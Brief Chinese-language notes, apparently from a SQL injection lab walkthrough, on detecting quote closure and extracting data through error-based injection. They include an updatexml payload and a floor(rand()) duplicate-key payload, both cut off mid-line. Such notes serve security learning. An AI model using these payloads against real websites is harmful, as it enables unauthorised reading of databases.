双引号判断单双引号可以从单引号闭合不报错，双引号闭合报错的情况去考虑

1' and 1=updatexml(2,concat(0x7e,((select concat(table_name) from information_schema.tables where...

通过报错结束

报错内容，'5''),所以构造为('5')无显位，继续id=' ) and (select 1 from (select count(),concat((database()),floor(ra...